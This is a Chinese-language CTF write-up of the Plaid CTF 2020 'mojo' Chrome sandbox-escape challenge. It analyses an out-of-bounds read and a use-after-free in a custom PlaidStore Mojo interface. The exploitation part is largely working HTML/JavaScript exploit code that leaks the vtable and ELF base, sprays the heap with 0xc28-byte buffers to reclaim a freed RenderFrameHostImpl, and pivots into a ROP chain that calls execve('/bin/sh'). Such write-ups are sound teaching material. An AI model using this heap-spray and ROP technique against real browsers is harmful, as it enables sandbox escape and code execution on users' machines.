文章目录
- 前置知识
- 参考文章
- 环境搭建
- 题目环境
- 调试环境
- 题目分析
- 附件分析
- 漏洞分析
- OOB
- UAF
- 漏洞利用
- 总结
前置知识
Mojo & Services 简介
chromium mojo 快速入门
Mojo docs
Intro to Mojo & Services
- 译文：利用Mojo IPC的UAF漏洞实现Chrome浏览器沙箱逃逸
- 原文：Cleanly Escaping the Chrome Sandbox
参考文章
本文主要参考 Plaid CTF 2020 mojo Writeup
环境搭建
题目环境
给了 docker 环境，所以直接启 docker 即可。
安装 docker：
sudo snap install docker
运行 run.sh 脚本：
./run.sh
运行 chrome：
./chrome --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest url
调试环境
这里单独启一个 web 服务：
python3 -m http.server 8000
调试脚本：
# gdbinit
# 读取符号
file ./chrome
# 设置启动参数
set args --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS url
# 设置执行fork后继续调试父进程
set follow-fork-mode parent
然后 gdb 调试即可：
gdb -x gdbinit
题目分析
附件分析
题目新定义了一个 PlaidStore 接口：
module blink.mojom;// This interface provides a data store
interface PlaidStore {// Stores data in the data storeStoreData(string key, array<uint8> data);// Gets data from the data storeGetData(string key, uint32 count) => (array<uint8> data);
};
该接口定义了两个方法 StoreData、GetData 分别用于向 data store 中存储数据和获取数据。
然后在浏览器端实现 PlaidStore 接口：
namespace content {class RenderFrameHost;class PlaidStoreImpl : public blink::mojom::PlaidStore {public:explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);static void Create(RenderFrameHost* render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);~PlaidStoreImpl() override;// PlaidStore overrides:void StoreData(const std::string &key,const std::vector<uint8_t> &data) override;void GetData(const std::string &key,uint32_t count,GetDataCallback callback) override;private:RenderFrameHost* render_frame_host_;std::map<std::string, std::vector<uint8_t> > data_store_;
};}
可以看到这里存在两个私有变量其中一个是 data_store_，这个好理解，其就是用来存储数据的；这里的 render_frame_host_ 是神马东西呢？
render 进程中的每一个 frame 都在 browser 进程中对应一个 RenderFrameHost，很多由浏览器提供的 mojo 接口就是通过 RenderFrameHoset 获取的。在 RenderFrameHost 初始化阶段，会在 BinderMap 中填充所有公开的 mojo 接口：
@@ -660,6 +662,10 @@ void PopulateFrameBinders(RenderFrameHostImpl* host,map->Add<blink::mojom::SerialService>(base::BindRepeating(&RenderFrameHostImpl::BindSerialService, base::Unretained(host)));#endif // !defined(OS_ANDROID)
+
+ map->Add<blink::mojom::PlaidStore>(
+ base::BindRepeating(&RenderFrameHostImpl::CreatePlaidStore,
+ base::Unretained(host)));}
当一个 render frame 请求该接口时，在 BinderMap 中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore 就会被调用，其定义如下：
void RenderFrameHostImpl::CreatePlaidStore(mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {PlaidStoreImpl::Create(this, std::move(receiver));
}
其直接调用了 PlaidStoreImpl::Create 函数：
// static
void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),std::move(receiver));
}
通过该函数，一个 PlaidStoreImpl 就被创建，并且该 PendingReceiver 与一个 SelfOwnedReceiver 绑定。
漏洞分析
该题存在两个漏洞，分别是 OOB 与 UAF，接下来直接分别讲解。
OOB
来分析下存取数据的操作：
void PlaidStoreImpl::StoreData(const std::string &key,const std::vector<uint8_t> &data) {if (!render_frame_host_->IsRenderFrameLive()) {return;}data_store_[key] = data;
}void PlaidStoreImpl::GetData(const std::string &key,uint32_t count,GetDataCallback callback) {if (!render_frame_host_->IsRenderFrameLive()) {std::move(callback).Run({});return;}auto it = data_store_.find(key);if (it == data_store_.end()) {std::move(callback).Run({});return;}std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);std::move(callback).Run(result);
}
可以看到两个操作都会先调用 render_frame_host_->IsRenderFrameLive 去检查 render frame 是否处于 live 状态。然后 StoreData 没啥问题，主要在于 GetData 函数没有对 count 字段做检查，所以这里可以导致越界读。
UAF
这里主要涉及到对象指针生命周期的问题。
在上面我们说过当一个 render frame 请求该接口时，在 BinderMap 中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore 就会被调用，其最后会调用到 PlaidStoreImpl::Create 函数：
void PlaidStoreImpl::Create(RenderFrameHost *render_frame_host,mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),std::move(receiver));
}
通过该函数，一个 PlaidStoreImpl 就被创建，并且该 PendingReceiver 与一个 SelfOwnedReceiver 绑定，也就是说这里会将消息管道的一段 receiver 与 PlaidStoreImpl 绑定，而这里传入的 render_frame_host 是一个 PlaidStoreImpl 类型的智能指针。
由于这里的绑定，所以当 mojo 管道关闭或发生错误时，PlaidStoreImpl 就会被自动释放，从而使得 PlaidStoreImpl 与 receiver 的生命周期保持一致，这其实是不存在问题的。
而在 PlaidStoreImpl 的构造函数中，存在对 render_frame_host 的赋值操作：
PlaidStoreImpl::PlaidStoreImpl(RenderFrameHost *render_frame_host): render_frame_host_(render_frame_host) {}
可以看到在 PlaidStoreImpl 的构造函数中，将 render_frame_host 赋给了其私有属性 render_frame_host_。那么问题就来了，如果 render_frame_host 对象被析构了（比如删除 iframe），但是 PlaidStoreImpl 还存在（因为 render_frame_host 并没有与 PlaidStoreImpl 绑定），那么在 StoreData/GetData 中调用 render_frame_host_->IsRenderFrameLive() 就会存在 UAF 漏洞。
漏洞利用
整体是思路就比较明确了：
- 利用
OOB泄漏相关数据 - 利用
UAF劫持程序执行流
前期准备
调用 MojoJS 接口时，请包含以下 JS 文件（这里请根据具体题目路径进行包含）：
<script src="mojo/public/js/mojo_bindings.js"></script>
<script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
然后进行管道端点绑定：
// 方案一
var ps = blink.mojom.PlaidStore.getRemote(true);
// 方案二
var ps = new blink.mojom.PlaidStorePtr(); // 获取 PlaidStore 实例
var name = blink.mojom.PlaidStore.name; // 获取 InterfaceName
var rq = mojo.makeRequest(ps);
Mojo.bindInterface(name, re.handle, "context", true);
调试分析
OOB 泄漏数据
首先是测试 OOB，主要是看下能够泄漏什么数据：
<html><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>function hexx(str, v) {console.log("\033[32m[+] " + str + "\033[0m0x" + v.toString(16));}async function pwn() {console.log("PWN");//var ps = blink.mojom.PlaidStore.getRemote(true); // 这种方式断点断不下来？？？var ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context", true);await(ps.storeData("pwn", new Uint8Array(0x10).fill(0x41)));var leak_data = (await(ps.getData("pwn", 0x20))).data;var u8 = new Uint8Array(leak_data);var u64 = new BigInt64Array(u8.buffer);}pwn();</script>
</html>
将断点打在 PlaidStoreImpl::Create 函数上，主要就是看下 PlaidStoreImpl 申请的空间：
可以看到这里 PlaidStoreImpl 的空间大小为 0x28，其成员依次往下为 vtable、render_frame_host、data_store_：
当 StoreData 执行完后：
可以看到，这里 PlaidStoreImpl、data_store_、data_vector 位于同一个段，所以这里可以通过越界读泄漏 PlaidStoreImpl 的 vtable 地址，并且还可以泄漏 render_frame_host_ 的地址，然后通过这些地址泄漏其它地址。比如可以通过 vtable 的地址确定 ELF 加载基地址：
泄漏了 ELF 基地址后，就可以得到很多有用的 gadget 了。
UAF 劫持程序执行流
有了 gadget 后，接下来就是考虑如何劫持 rip，这里的想法就是劫持虚表指针从而劫持程序执行流。
我们知道，每次调用 StoreData/GetData 时，都会先调用 render_frame_host_->IsRenderFrameLive，其是通过虚表指针进行调用的：
可以看到这里的 rax 就是 render_frame_host_ 的虚表地址，然后 [rax + 0x160] 就是 IsRenderFrameLive 函数的地址。
可以简单验证一下，可以看到当执行 call QWORD PTR[rax+0x160] 时，rax 确实是 render_frame_host_ 的虚表地址：
那么整个思路就比较清晰了：
- 构造
render_frame_host_ UAF - 堆喷获取
UAF堆块并伪造render_frame_host_虚表 - 调用
render_frame_host_->IsRenderFrameLive控制程序执行流
这里 rax 寄存器的值就是 render_frame_host_ 的虚表地址，而其虚表地址我们是可控的（就在 render_frame_host_ 对象的头 8 字节处），而在 OOB 中我们又可以顺带泄漏 render_frame_host_ 的地址（其就在 PlaidStoreImpl 虚表的下方），所以我们可以利用 xchg rax, rsp 等 gadget 劫持栈到 render_frame_host_ 上，并提前在 render_frame_host_ 上布置好 rop chain 即可。
这里借用上述参考文章中佬的一张图：
在布局
gadget前还有一个问题：我们该如何在释放render_frame_host_所指向的内存之后，再将这块内存分配回来？这里有个小知识点，chrome中的内存管理使用的是TCMalloc机制。又因为StoreData函数分配的vector<uint8_t>与render_frame_host_使用的是同一个分配器，只要大量分配大小与RenderFrameHostImpl相等的vector，就有可能占位成功。
TCMalloc（Thread-Caching Malloc）实现了高效的多线程内存管理，用于替代系统的内存分配相关的函数 TCMalloc解密
所以我们现在得需要知道 RenderFrameHostImpl 的大小。将断点打在其构造函数 RenderFrameHostImpl::RenderFrameHostImpl 上：
可以看到，在执行构造函数前执行了 RenderFrameFactory::Create 函数，所以其多半就是为 RenderFrameHostImpl 分配空间的函数，重新将断点打在 RenderFrameHostFactory::Create 上：
所以这里多半就可以确认 RenderFrameHostImpl 的大小为 0xc28。
这里照搬上述参考文章，也是比较重要的部分：
当我们创建一个 child iframe 并建立一个 PlaidStoreImpl 实例后。如果我们关闭这个 child iframe，则对应的RenderFrameHost 将会自动关闭；但与此同时，child iframe 所对应的 PlaidStoreImpl 与 browser 建立的 mojo 管道将会被断开。而该管道一但断开，则 PlaidStoreImpl 实例将会被析构。
因此，我们需要在关闭 child iframe 之前，将管道的 remote 端移交给 parent iframe，使得 child iframe 的 PlaidStoreImpl 实例在 iframe 关闭后仍然存活。
回想一下，正常情况下，当关闭一个
iframe时，RenderFrameHost将会被析构、mojo管道将会被关闭。此时Mojo管道的关闭一定会带动PlaidStoreImpl的析构，这样就可以析构掉所有该析构的对象。
但这里却没有，因为在关闭child iframe前，已经将该iframe所持有的Mojo管道Remote端移交出去了，因此在关闭child iframe时将不会关闭Mojo管道。而PlaidStoreImpl的生命周期并没有与RenderFrameHost相关联。即RenderFrameHost的析构完全不影响PlaidStoreImpl实例的生命周期。所以，PlaidStoreImpl实例将不会被析构。
那么，问题是，该如何移交 Mojo 管道的 remote 端呢？答案是：使用 MojoInterfaceInterceptor。该功能可以拦截来自同一进程中其他 iframe 的 Mojo.bindInterface 调用。在 child iframe 被销毁前，我们可以利用该功能将mojo 管道的一端传递给 parent iframe。
以下是来自其他 exp 的相关代码，我们可以通过该代码片段来了解 MojoInterfaceInterceptor 的具体使用方式：
var kPwnInterfaceName = "pwn";// runs in the child frame
function sendPtr() {var pipe = Mojo.createMessagePipe();// bind the InstalledAppProvider with the child rfhMojo.bindInterface(blink.mojom.InstalledAppProvider.name,pipe.handle1, "context", true);// pass the endpoint handle to the parent frameMojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}// runs in the parent frame
function getFreedPtr() {return new Promise(function (resolve, reject) {var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash// intercept bindInterface calls for this process to accept the handle from the childlet interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");interceptor.oninterfacerequest = function(e) {interceptor.stop();// bind and return the remotevar provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);freeRFH(frame);resolve(provider_ptr);}interceptor.start();});
}
现在，我们已经解决了所有潜在的问题，UAF 的利用方式应该是这样的：
- 将
child iframe中Mojo管道的remote端移交至parent iframe，使得Mojo管道仍然保持连接 - 释放
child iframe - 多次分配内存，使得分配到原先被释放
RenderFrameHostImpl的内存区域 - 写入目标数据
- 执行
child iframe对应的PlaidStoreImpl::GetData函数
不过需要注意的是，在该题中并不需要将
child iframe的Mojo管道一端传递给parent iframe的操作。因为通过调试可知，child iframe在remove后，其所对应的PlaidStoreImpl实例仍然存在，并没有随着Mojo pipe的关闭而被析构
尚未明确具体原因，但这种情况却简化了漏洞利用的方式
最后简化后的利用方式如下：
- 释放
child iframe - 多次分配内存，使得分配到原先被释放
RenderFrameHostImpl的内存区域 - 写入目标数据
- 执行
child iframe对应的PlaidStoreImpl::GetData函数
简单测试一下：
<html>
<head><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>async function pwn() {var frame = document.createElement("iframe");frame.srcdoc = `<script src="mojo/public/js/mojo_bindings.js"><\/script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script><script>var ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context",true);ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));window.ps = ps;<\/script>`;document.body.appendChild(frame);frame.contentWindow.addEventListener("DOMContentLoaded", async () => {var ps = frame.contentWindow.ps;if(ps == undefined || ps == 0) {throw "FAILED to load iframe";}var raw_buf = new ArrayBuffer(0xc28);var fu8 = new Uint8Array(raw_buf).fill(0);var fu64 = new BigUint64Array(raw_buf);fu64[0] = 0xdeadbeefn;var pps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,"context",true);document.body.removeChild(frame);frame.remove();for (let i = 0; i < 100; i++) {await pps.storeData("pwn" + i, fu8);}await ps.getData("pwn", 0);});}</script>
</head>
<body onload = pwn()></body></html>
效果如下：
程序在 GetData 中 Crash，此时的 rax = 0xdeadbeef，符合预期。
最后的 exp 如下：
<html>
<head><script src="mojo/public/js/mojo_bindings.js"></script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script><script>function hexx(str, v) {var elem = document.getElementById("#parentLog");if(elem == undefined) {elem = document.createElement("div");document.body.appendChild(elem);}elem.innerText += '[+] ' + str + ': 0x' + v.toString(16) + '\n';}async function pwn() {//var ps = blink.mojom.PlaidStore.getRemote(true);var frame = document.createElement("iframe");frame.srcdoc = `<script src="mojo/public/js/mojo_bindings.js"><\/script><script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script><script>async function pwn() {var ps_list = [];for (let i = 0; i < 0x200; i++) {let ps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(ps).handle,"context", true);await ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));ps_list.push(ps);}var elf_to_vtable = 0x9fb67a0n;var vtable_addr = -1;var render_frame_host_addr = -1;for (let k = 0; k < 0x200; k++) {let ps = ps_list[k];let leak_data = (await ps.getData("pwn", 0x200)).data;let u8 = new Uint8Array(leak_data);let u64 = new BigInt64Array(u8.buffer);for (let i = 0x20 / 8; i < u64.length - 1; i++) {if ((u64[i] & 0xfffn) == 0x7a0n && (u64[i] & 0xf00000000000n) == 0x500000000000n) {vtable_addr = u64[i];render_frame_host_addr = u64[i+1];break;}if (vtable_addr != -1) {break;}}}if (vtable_addr == -1) {hexx("FAILED to OOB vtable addr", -1);throw "[X] FAILED to OOB vtable addr";}var elf_base = vtable_addr - elf_to_vtable;window.ps = ps_list[0];window.elf_base = elf_base;window.render_frame_host_addr = render_frame_host_addr;}<\/script>`;document.body.appendChild(frame);frame.contentWindow.addEventListener("DOMContentLoaded", async () => {await frame.contentWindow.pwn();var ps = frame.contentWindow.ps;var elf_base = frame.contentWindow.elf_base;var render_frame_host_addr = frame.contentWindow.render_frame_host_addr;if (ps == undefined || ps == 0) {throw "FAILED to load iframe";}var pop_rdi = elf_base + 0x0000000002e4630fn;var pop_rsi = elf_base + 0x0000000002d278d2n;var pop_rdx = elf_base + 0x0000000002e9998en;var pop_rax = elf_base + 0x0000000002e651ddn;var syscall = elf_base + 0x0000000002ef528dn;var xchg_rax_rsp = elf_base + 0x000000000880dee8n; // xchg rax, rsp ; clc ; pop rbp ; rethexx("elf_base", elf_base);hexx("render_frame_host_addr", render_frame_host_addr);hexx("pop_rdi", pop_rdi);hexx("pop_rsi", pop_rsi);hexx("pop_rdx", pop_rdx);hexx("pop_rax", pop_rax);hexx("syscall", syscall);hexx("xchg_rax_rsp", xchg_rax_rsp);const RenderFrameHostSize = 0xc28;var raw_buf = new ArrayBuffer(RenderFrameHostSize);var fu8 = new Uint8Array(raw_buf).fill(0);var fdv = new DataView(raw_buf);var rop = new BigUint64Array(raw_buf, 0x10);fdv.setBigInt64(0, render_frame_host_addr+0x10n, true);fdv.setBigInt64(0x10+0x160, xchg_rax_rsp, true);fdv.setBigInt64(0x10+0x160+0x8, 0x68732f6e69622fn, true);rop[0] = 0xdeadbeefn; // rbprop[1] = pop_rdi;rop[2] = render_frame_host_addr+0x178n;rop[3] = pop_rsi;rop[4] = 0n;rop[5] = pop_rdx;rop[6] = 0n;rop[7] = pop_rax;rop[8] = 59n;rop[9] = syscall;var pps = new blink.mojom.PlaidStorePtr();Mojo.bindInterface(blink.mojom.PlaidStore.name,mojo.makeRequest(pps).handle,"context", true);document.body.removeChild(frame);frame.remove();for (let i = 0; i < 100; i++) {await pps.storeData("pwn"+i, fu8);}await ps.getData("pwn", 0x20);});}</script>
</head>
<body onload = pwn()></body>
</html>
效果如下：
总结
这个题目算是比较简单的沙箱逃逸了，但是还是搞了两天。主要的问题就是调试，比较奇怪的是如果 exp 中出现了一些错误，程序不会报错。比如我的 exp 最开始在赋值 BigInt 类型的数字时，忘记给 0 后面加上 n，然后 exp 就一直打不通，但是程序也不报错，所以这里发现这个 0n 问题，我就搞了一天…
](https://img-blog.csdnimg.cn/direct/c68f0d99341f461ca94e024fe056db23.png)
![[当人工智能遇上安全] 11.威胁情报实体识别 (2)基于BiGRU-CRF的中文实体识别万字详解](https://img-blog.csdnimg.cn/53b9f1a2d4014fe68885a3028807286d.jpeg#pic_center)
